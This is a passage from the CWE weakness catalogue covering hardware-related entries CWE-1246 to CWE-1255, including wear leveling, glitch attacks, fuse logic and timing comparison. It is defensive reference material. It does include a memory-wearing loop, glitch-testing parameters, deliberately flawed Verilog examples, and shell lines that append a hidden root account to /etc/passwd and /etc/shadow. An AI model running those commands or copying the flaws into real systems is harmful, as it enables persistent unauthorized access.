
Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Availability | Unexpected State | |
| Access Control | DoS: Crash, Exit, or Restart DoS: Instability Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Define all possible states and handle all unused states through default statements. Ensure that system defaults to a secure state.

Effectiveness = High

Demonstrative Examples

Example 1:

The FSM shown in the "bad" code snippet below assigns the output out based on the value of state, which is determined based on the user provided input, user_input.

Example Language: Verilog

(bad)

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
begin
    if (!rst_n)
        state = 3'h0;
    else
        case (user_input)
            3'h0:
            3'h1:
            3'h2:
            3'h3: state = 2'h3;
            3'h4: state = 2'h2;
            3'h5: state = 2'h1;
        endcase
end
```

```
out <= {1'h1, state};
endmodule
```

The case statement does not handle the scenario when user provides inputs of 3'h6 and 3'h7 using a default statement. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

Example Language: Other

(good)

```
case (user_input)
  3'h0:
  3'h1:
  3'h2:
  3'h3: state = 2'h3;
  3'h4: state = 2'h2;
  3'h5: state = 2'h1;
  default: state = 2'h0;
endcase
```

CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories

Weakness ID : 1246

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories.

Extended Description

Non-volatile memories such as NAND Flash, EEPROM, etc. have individually erasable segments, each of which can be put through a limited number of program/erase or write cycles. For example, the device can only endure a limited number of writes, after which the device becomes unreliable. In order to wear out the cells in a uniform manner, non-volatile memory and storage products based on the above-mentioned technologies implement a technique called wear leveling. Once a set threshold is reached, wear leveling maps writes of a logical block to a different physical block. This prevents a single physical block from prematurely failing due to a high concentration of writes.

If wear leveling is improperly implemented, attackers may be able to programmatically cause the storage to become unreliable within a much shorter time than would normally be expected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|---|------|
| ChildOf | IP | 664 | Improper Control of a Resource Through its Lifetime | 1328 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Technology : Memory IP (*Prevalence = Undetermined*)

Technology : Storage IP (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|------------------|------------|
| Availability | DoS: Instability | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Include secure wear leveling algorithms and ensure they may not be bypassed.

Effectiveness = High

Demonstrative Examples

Example 1:

An attacker can render a memory line unusable by repeatedly causing a write to the memory line.

Below is example code from [REF-1058] that the user can execute repeatedly to cause line failure. W is the maximum associativity of any cache in the system; S is the size of the largest cache in the system.

Example Language: Other

(bad)

```
Do aligned alloc of (W+1) arrays each of size S
while(1) {
  for (ii = 0; i < W + 1; ii++)
    array[ii].element[0]++;
}
```

Without wear leveling, the above attack will be successful. Simple randomization of blocks will not suffice as instead of the original physical block, the randomized physical block will be worn out.

Example Language:

(informative)

Wear leveling must be used to even out writes to the device.

CWE-1247: Improper Protection Against Voltage and Clock Glitches

| | |
|---------------------------|------------------------|
| Weakness ID : 1247 | Status : Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.

Extended Description

A device might support features such as secure boot which are supplemented with hardware and firmware support. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, security logic for exercising a debug or testing interface may be implemented in hardware, firmware, or both. A device needs to guard against fault attacks such as voltage glitches and clock glitches that an attacker may employ in an attempt to compromise the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

Detection Methods

Manual Analysis

Put the processor in an infinite loop, which is then followed by instructions that should not ever be executed, since the loop is not expected to exit. After the loop, toggle an I/O bit (for oscilloscope monitoring purposes), print a console message, and reenter the loop. Note that to ensure that the loop exit is actually captured, many NOP instructions should be coded after the loop branch instruction and before the I/O bit toggle and the print statement. Margining the clock consists of varying the clock frequency until an anomaly occurs. This could be a continuous frequency change or it could be a single cycle. The single cycle method is described here. For every 1000th clock pulse, the clock cycle is shortened by 10 percent. If no effect is observed, the width is shortened by 20%. This process is continued in 10% increments up to and including 50%. Note that the cycle time may be increased as well, down to seconds per cycle. Separately, the voltage is margined. Note that the voltage could be increased or decreased. Increasing the voltage has limits, as the circuitry may not be able to withstand a drastically increased voltage. This process starts with a 5% reduction of the DC supply to the CPU chip for 5 millisecond repeated at 1KHz. If this has no effect, the process is repeated, but a 10% reduction is used. This process is repeated at 10% increments down to a 50% reduction. If no effects are observed at 5 millisecond, the whole process is repeated using a 10 millisecond pulse. If no effects are observed, the process is repeated in 10 millisecond increments out to 100 millisecond pulses. While these are suggested starting points for testing circuitry for weaknesses, the limits may

need to be pushed further at the risk of device damage. See [REF-1217] for descriptions of Smart Card attacks against a clock (section 14.6.2) and using a voltage glitch (section 15.5.3).

Effectiveness = Moderate

Dynamic Analysis with Manual Results Interpretation

During the implementation phase where actual hardware is available, specialized hardware tools and apparatus such as ChipWhisperer may be used to check if the platform is indeed susceptible to voltage and clock glitching attacks.

Architecture or Design Review

Review if the protections against glitching merely transfer the attack target. For example, suppose a critical authentication routine that an attacker would want to bypass is given the protection of modifying certain artifacts from within that specific routine (so that if the routine is bypassed, one can examine the artifacts and figure out that an attack must have happened). However, if the attacker has the ability to bypass the critical authentication routine, they might also have the ability to bypass the other protection routine that checks the artifacts. Basically, depending on these kind of protections is akin to resorting to "Security by Obscurity".

Architecture or Design Review

Many SoCs come equipped with a built-in Dynamic Voltage and Frequency Scaling (DVFS) that can control the voltage and clocks via software alone. However, there have been demonstrated attacks (like Plundervolt and CLKSCREW) that target this DVFS [REF-1081] [REF-1082]. During the design and implementation phases, one needs to check if the interface to this power management feature is available from unprivileged SW (CWE-1256), which would make the attack very easy.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitch attacks. Working at the SoC or platform base, level sensors may be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed) also can help with mitigation of glitch attacks.

Demonstrative Examples

Example 1:

Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against a golden value. If the signatures match, the bootloader loads runtime firmware. If there is no match, an error halt occurs. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage or clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), causing a bypass of the signature-checking process.

Example Language: Other

(bad)

```
...

if (signature_matches) // <-Glitch Here
{
    load_runtime_firmware();
}
```

```

else
{
    do_not_load_runtime_firmware();
}

...

```

After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.

Example Language:

(informative)

If the underlying hardware detects a voltage or clock glitch, the information can be used to prevent the glitch from being successful.

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2019-17391 | Lack of anti-glitch protections allows an attacker to launch a physical attack to bypass the secure boot and read protected eFuses. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17391 |

CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications

| | |
|---------------------------|----------------------------|
| Weakness ID : 1248 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The security-sensitive hardware module contains semiconductor defects.

Extended Description

A semiconductor device can fail for various reasons. While some are manufacturing and packaging defects, the rest are due to prolonged use or usage under extreme conditions. Some mechanisms that lead to semiconductor defects include encapsulation failure, die-attach failure, wire-bond failure, bulk-silicon defects, oxide-layer faults, aluminum-metal faults (including electromigration, corrosion of aluminum, etc.), and thermal/electrical stress. These defects manifest as faults on chip-internal signals or registers, have the effect of inputs, outputs, or intermediate signals being always 0 or always 1, and do not switch as expected. If such faults occur in security-sensitive hardware modules, security guarantees offered by the device will be compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | P | 693 | Protection Mechanism Failure | 1384 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------------------------|------------------|------------|
| Availability Access Control | DoS: Instability | |

Potential Mitigations

Phase: Testing

While semiconductor-manufacturing companies implement several mechanisms to continuously improve the semiconductor manufacturing process to ensure reduction of defects, some defects can only be fixed after manufacturing. Post-manufacturing testing of silicon die is critical. Fault models such as stuck-at-0 or stuck-at-1 must be used to develop post-manufacturing test cases and achieve good coverage. Once the silicon packaging is done, extensive post-silicon testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

Phase: Operation

Operating the hardware outside device specification, such as at extremely high temperatures, voltage, etc., accelerates semiconductor degradation and results in defects. When these defects manifest as faults in security-critical, hardware modules, it results in compromise of security guarantees. Thus, operating the device within the specification is important.

Demonstrative Examples

Example 1:

The network-on-chip implements a firewall for access control to peripherals from all IP cores capable of mastering transactions.

Example Language: Other

(bad)

A manufacturing defect in this logic manifests itself as a logical fault, which always sets the output of the filter to "allow" access.

Post-manufacture testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System

Weakness ID : 1249

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.

Extended Description

Many products provide web-based applications or other software for managing the underlying operating system. This is common with cloud, network access devices, home networking, and other systems. When the management tool does not accurately represent what is in the OS - such as user accounts - then the administrator might not see suspicious activities that would be noticed otherwise.

For example, numerous systems utilize a web front-end for administrative control. They also offer the ability to add, alter, and drop users with various privileges as it relates to the functionality of the system. A potential architectural weakness may exist where the user information reflected in the web interface does not mirror the users in the underlying operating system. Many web UI or REST APIs use the underlying operating system for authentication; the system's logic may also track an additional set of user capabilities within configuration files and datasets for authorization capabilities. When there is a discrepancy between the user information in the UI or REST API's interface system and the underlying operating system's user listing, this may introduce a weakness into the system. For example, if an attacker compromises the OS and adds a new user account - a "ghost" account - then the attacker could escape detection if the management tool does not list the newly-added account.

This discrepancy could be exploited in several ways:

- A rogue admin could insert a new account into a system that will persist if they are terminated or wish to take action on a system that cannot be directly associated with them.
- An attacker can leverage a separate command injection attack available through the web interface to insert a ghost account with shell privileges such as ssh.
- An attacker can leverage existing web interface APIs, manipulated in such a way that a new user is inserted into the operating system, and the user web account is either partially created or not at all.
- An attacker could create an admin account which is viewable by an administrator, use this account to create the ghost account, delete logs and delete the first created admin account.

Many of these attacker scenarios can be realized by leveraging separate vulnerabilities related to XSS, command injection, authentication bypass, or logic flaws on the various systems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1250 | Improper Preservation of Consistency Between Independent Representations of Shared State | 1844 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Undetermined*)

Alternate Terms

Ghost in the Shell :

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-------------------|------------|
| Access Control | Varies by Context | |
| Accountability | Hide Activities | |
| Other | Unexpected State | |

Potential Mitigations

Phase: Architecture and Design

Ensure that the admin tool refreshes its model of the underlying OS on a regular basis, and note any inconsistencies with configuration files or other data sources that are expected to have the same data.

Demonstrative Examples

Example 1:

Suppose that an attacker successfully gains root privileges on a Linux system and adds a new 'user2' account:

Example Language: Other

(attack)

```
echo "user2:x:0:0:/root:/" >> /etc/passwd;
echo "user2:!\$6!\$dvyrM6VJnG8Su5U\$1gmW3Nm.I04vxTQDQ1C8urm72JCadOHZQwqiH/
nRtL8dPY80xS4Ovsv5bPCMWnXKKWwmsocSWXupUf17LB3oS.:17256:0:99999:7:::" >> /etc/shadow;
```

This new user2 account would not be noticed on the web interface, if the interface does not refresh its data of available users.

It could be argued that for this specific example, an attacker with root privileges would be likely to compromise the admin tool or otherwise feed it with false data. However, this example shows how the discrepancy in critical data can help attackers to escape detection.

CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State

Weakness ID : 1250

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

1844

The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.

Extended Description

In highly distributed environments, or on systems with distinct physical components that operate independently, there is often a need for each component to store and update its own local copy of key data such as state or cache, so that all components have the same "view" of the overall system and operate in a coordinated fashion. For example, users of a social media service or a massively multiplayer online game might be using their own personal computers while also interacting with different physical hosts in a globally distributed service, but all participants must be able to have the same "view" of the world. Alternately, a processor's Memory Management Unit (MMU) might have "shadow" MMUs to distribute its workload, and all shadow MMUs are expected to have the same accessible ranges of memory.

In such environments, it becomes critical for the product to ensure that this "shared state" is consistently modified across all distributed systems. If state is not consistently maintained across all systems, then critical transactions might take place out of order, or some users might not get the same data as other users. When this inconsistency affects correctness of operations, it can introduce vulnerabilities in mechanisms that depend on consistent state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|--|------|
| ChildOf | P | 664 | Improper Control of a Resource Through its Lifetime | 1328 |
| ParentOf | ⓑ | 1249 | Application-Level Admin Tool with Inconsistent View of Underlying Operating System | 1843 |
| ParentOf | ⓑ | 1251 | Mirrored Regions with Different Values | 1846 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Cloud Computing (*Prevalence = Undetermined*)

Technology : Security IP (*Prevalence = Undetermined*)

Demonstrative Examples

Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Notes

Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

CWE-1251: Mirrored Regions with Different Values

Weakness ID : 1251

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product's architecture mirrors regions without ensuring that their contents always stay in sync.

Extended Description

Having mirrored regions with different values might result in the exposure of sensitive information or possibly system compromise.

In the interest of increased performance, one might need to duplicate a resource. A cache memory is a common example of this concept, which keeps a "local" copy of a data element in the high speed cache memory. Unfortunately, this speed improvement comes with a downside, since the product needs to ensure that the local copy always mirrors the original copy truthfully. If they get out of sync, the computational result is no longer true.

During hardware design, memory is not the only item which gets mirrored. There are many other entities that get mirrored, as well: registers, memory regions, and, in some cases, even whole computational units. For example, within a multi-core processor, if all memory accesses for each and every core goes through a single Memory-Management Unit (MMU) then the MMU will become a performance bottleneck. In such cases, duplicating local MMUs that will serve only a subset of the cores rather than all of them may resolve the performance issue. These local copies are also called "shadow copies" or "mirrored copies."

If the original resource never changed, local duplicate copies getting out of sync would never be an issue. However, the values of the original copy will sometimes change. When the original copy changes, the mirrored copies must also change, and change fast.

This situation of shadow-copy-possibly-out-of-sync-with-original-copy might occur as a result of multiple scenarios, including the following:

- After the values in the original copy change, due to some reason the original copy does not send the "update" request to its shadow copies.
- After the values in the original copy change, the original copy dutifully sends the "update" request to its shadow copies, but due to some reason the shadow copy does not "execute" this update request.
- After the values in the original copy change, the original copy sends the "update" request to its shadow copies, and the shadow copy executes this update request faithfully. However, during the small time period when the original copy has "new" values and the

shadow copy is still holding the "old" values, an attacker can exploit the old values. Then it becomes a race condition between the attacker and the update process of who can reach the target, shadow copy first, and, if the attacker reaches first, the attacker wins.

- The attacker might send a "spoofed" update request to the target shadow copy, pretending that this update request is coming from the original copy. This spoofed request might cause the targeted shadow copy to update its values to some attacker-friendly values, while the original copies remain unchanged by the attacker.
- Suppose a situation where the original copy has a system of reverting back to its original value if it does not hear back from all the shadow copies that such copies have successfully completed the update request. In such a case, an attack might occur as follows: (1) the original copy might send an update request; (2) the shadow copy updates it; (3) the shadow copy sends back the successful completion message; (4) through a separate issue, the attacker is able to intercept the shadow copy's completion message. In this case, the original copy thinks that the update did not succeed, hence it reverts to its original value. Now there is a situation where the original copy has the "old" value, and the shadow copy has the "new" value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : VHDL (*Prevalence = Undetermined*)

Language : Verilog (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|-------------------|------------|
| Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation | Varies by Context | |

Potential Mitigations

Phase: Architecture and Design

Whenever there are multiple, physically different copies of the same value that might change and the process to update them is not instantaneous and atomic, it is impossible to assert that the original and shadow copies will always be in sync - there will always be a time period when they are out of sync. To mitigate the consequential risk, the recommendations essentially are: Make this out-of-sync time period as small as possible, and Make the update process as robust as possible.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Notes

Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations

| | |
|---------------------------|---------------------------|
| Weakness ID : 1252 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.

Extended Description

CPUs provide a special bit that supports exclusivity of write and execute operations. This bit is used to segregate areas of memory to either mark them as code (instructions, which can be executed) or data (which should not be executed). In this way, if a user can write to a region of memory, the user cannot execute from that region and vice versa. This exclusivity provided by special hardware bit is leveraged by the operating system to protect executable space. While this bit is available in most modern processors by default, in some CPUs the exclusivity is implemented

via a memory-protection unit (MPU) and memory-management unit (MMU) in which memory regions can be carved out with exact read, write, and execute permissions. However, if the CPU does not have an MMU/MPU, then there is no write exclusivity. Without configuring exclusivity of operations via segregated areas of memory, an attacker may be able to inject malicious code onto memory and later execute it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | [P] | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Microcontroller IP (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|------------------------------|---------------------------------------|------------|
| Confidentiality Integrity | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Implement a dedicated bit that can be leveraged by the Operating System to mark data areas as non-executable. If such a bit is not available in the CPU, implement MMU/MPU (memory management unit / memory protection unit).

Phase: Integration

If MMU/MPU are not available, then the firewalls need to be implemented in the SoC interconnect to mimic the write-exclusivity operation.

Demonstrative Examples

Example 1:

MCS51 Microcontroller (based on 8051) does not have a special bit to support write exclusivity. It also does not have an MMU/MPU support. The Cortex-M CPU has an optional MPU that supports up to 8 regions.

Example Language: Other

(bad)

The optional MPU is not configured.

If the MPU is not configured, then an attacker will be able to inject malicious data into memory and execute it.

CWE-1253: Incorrect Selection of Fuse Values

Weakness ID : 1253

Status: Draft

Structure : Simple

Abstraction : Base

Description

The logic level used to set a system to a secure state relies on a fuse being unblown. An attacker can set the system to an insecure state merely by blowing the fuse.

Extended Description

Fuses are often used to store secret data, including security configuration data. When not blown, a fuse is considered to store a logic 0, and, when blown, it indicates a logic 1. Fuses are generally considered to be one-directional, i.e., once blown to logic 1, it cannot be reset to logic 0. However, if the logic used to determine system-security state (by leveraging the values sensed from the fuses) uses negative logic, an attacker might blow the fuse and drive the system to an insecure state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | P | 693 | Protection Mechanism Failure | 1384 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------------|---|------------|
| Access Control Authorization | Bypass Protection Mechanism Gain Privileges or Assume Identity | |
| Availability | DoS: Crash, Exit, or Restart | |
| Confidentiality | Read Memory | |
| Integrity | Modify Memory Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Logic should be designed in a way that blown fuses do not put the product into an insecure state that can be leveraged by an attacker.

Demonstrative Examples

Example 1:

A chip implements a secure boot and uses the sensed value of a fuse "do_secure_boot" to determine whether to perform a secure boot or not. If this fuse value is "0", the system performs secure boot. Otherwise, it does not perform secure boot.

An attacker blows the "do_secure_boot" fuse to "1". After reset, the attacker loads a custom bootloader, and, since the fuse value is now "1", the system does not perform secure boot, and the attacker can execute their custom firmware image.

Since by default, a fuse-configuration value is a "0", an attacker can blow it to a "1" with inexpensive hardware.

If the logic is reversed, an attacker cannot easily reset the fuse. Note that, with specialized and expensive equipment, an attacker with full physical access might be able to "unblow" the fuse value to a "0".

CWE-1254: Incorrect Comparison Logic Granularity

Weakness ID : 1254

Status: Draft

Structure : Simple

Abstraction : Base

Description

The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes.

Extended Description

Comparison logic is used to compare a variety of objects including passwords, Message Authentication Codes (MACs), and responses to verification challenges. When comparison logic is implemented at a finer granularity (e.g., byte-by-byte comparison) and breaks in the case of a comparison failure, an attacker can exploit this implementation to identify when exactly the failure occurred. With multiple attempts, the attacker may be able to guess the correct password/response to challenge and elevate their privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|------|--|------|
| ChildOf | P | 697 | Incorrect Comparison | 1389 |
| ChildOf | Ⓔ | 208 | Observable Timing Discrepancy | 497 |
| PeerOf | Ⓔ | 1261 | Improper Handling of Single Event Upsets | 1869 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------------------------|-----------------------------|------------|
| Confidentiality Authorization | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Implementation

The hardware designer should ensure that comparison logic is implemented so as to compare in one operation instead in smaller chunks.

Demonstrative Examples

Example 1:

Consider an example hardware module that checks a user-provided password to grant access to a user. The user-provided password is compared against a golden value in a byte-by-byte manner.

Example Language: Other

(bad)

```
always_comb @ (posedge clk)
begin
  assign check_pass[3:0] = 4'b0;
  for (i = 0; i < 4; i++) begin
    if (entered_pass[(i*8 - 1) : i] eq golden_pass[(i*8 - 1) : i])
      assign check_pass[i] = 1;
    continue;
  else
    assign check_pass[i] = 0;
    break;
  end
  assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Since the code breaks on an incorrect entry of password, an attacker can guess the correct password for that byte-check iteration with few repeat attempts.

Example Language:

(informative)

Either the comparison of the entire string should be done all at once or the attacker is not given an indication whether pass or fail happened by allowing the comparison to run through all bits before the grant_access signal is set.

```
always_comb @ (posedge clk)
begin
  assign check_pass[3:0] = 4'b0;
  for (i = 0; i < 4; i++) begin
    if (entered_pass[(i*8 - 1) : i] eq golden_pass[(i*8 - 1) : i])
      assign check_pass[i] = 1;
    continue;
  else
    assign check_pass[i] = 0;
    continue;
  end
  assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Observed Examples

| Reference | Description |
|---------------|---|
| CVE-2014-0984 | The passwordCheck function in SAP Router 721 patch 117, 720 patch 411, 710 patch 029, and earlier terminates validation of a Route Permission Table entry password upon encountering the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0984 |

CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks

Weakness ID : 1255

Status: Draft

Structure : Simple

Abstraction : Variant

Description

A device's real time power consumption may be monitored during security token evaluation and the information gleaned may be used to determine the value of the reference token.

Extended Description

The power consumed by a device may be instrumented and monitored in real time. If the algorithm for evaluating security tokens is not sufficiently robust, the power consumption may vary by token entry comparison against the reference value. Further, if retries are unlimited, the power difference between a "good" entry and a "bad" entry may be observed and used to determine whether each entry itself is correct thereby allowing unauthorized parties to calculate the reference value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|--------|---|------|---|------|
| PeerOf |  | 1259 | Improper Restriction of Security Token Assignment | 1864 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| Availability | Read Files or Directories | |
| Access Control | Modify Files or Directories | |
| Accountability | Execute Unauthorized Code or Commands | |
| Authentication | Gain Privileges or Assume Identity | |
| Authorization | Bypass Protection Mechanism | |
| Non-Repudiation | Read Application Data | |
| | Modify Application Data | |
| | Hide Activities | |

| Scope | Impact | Likelihood |
|-------|---|------------|
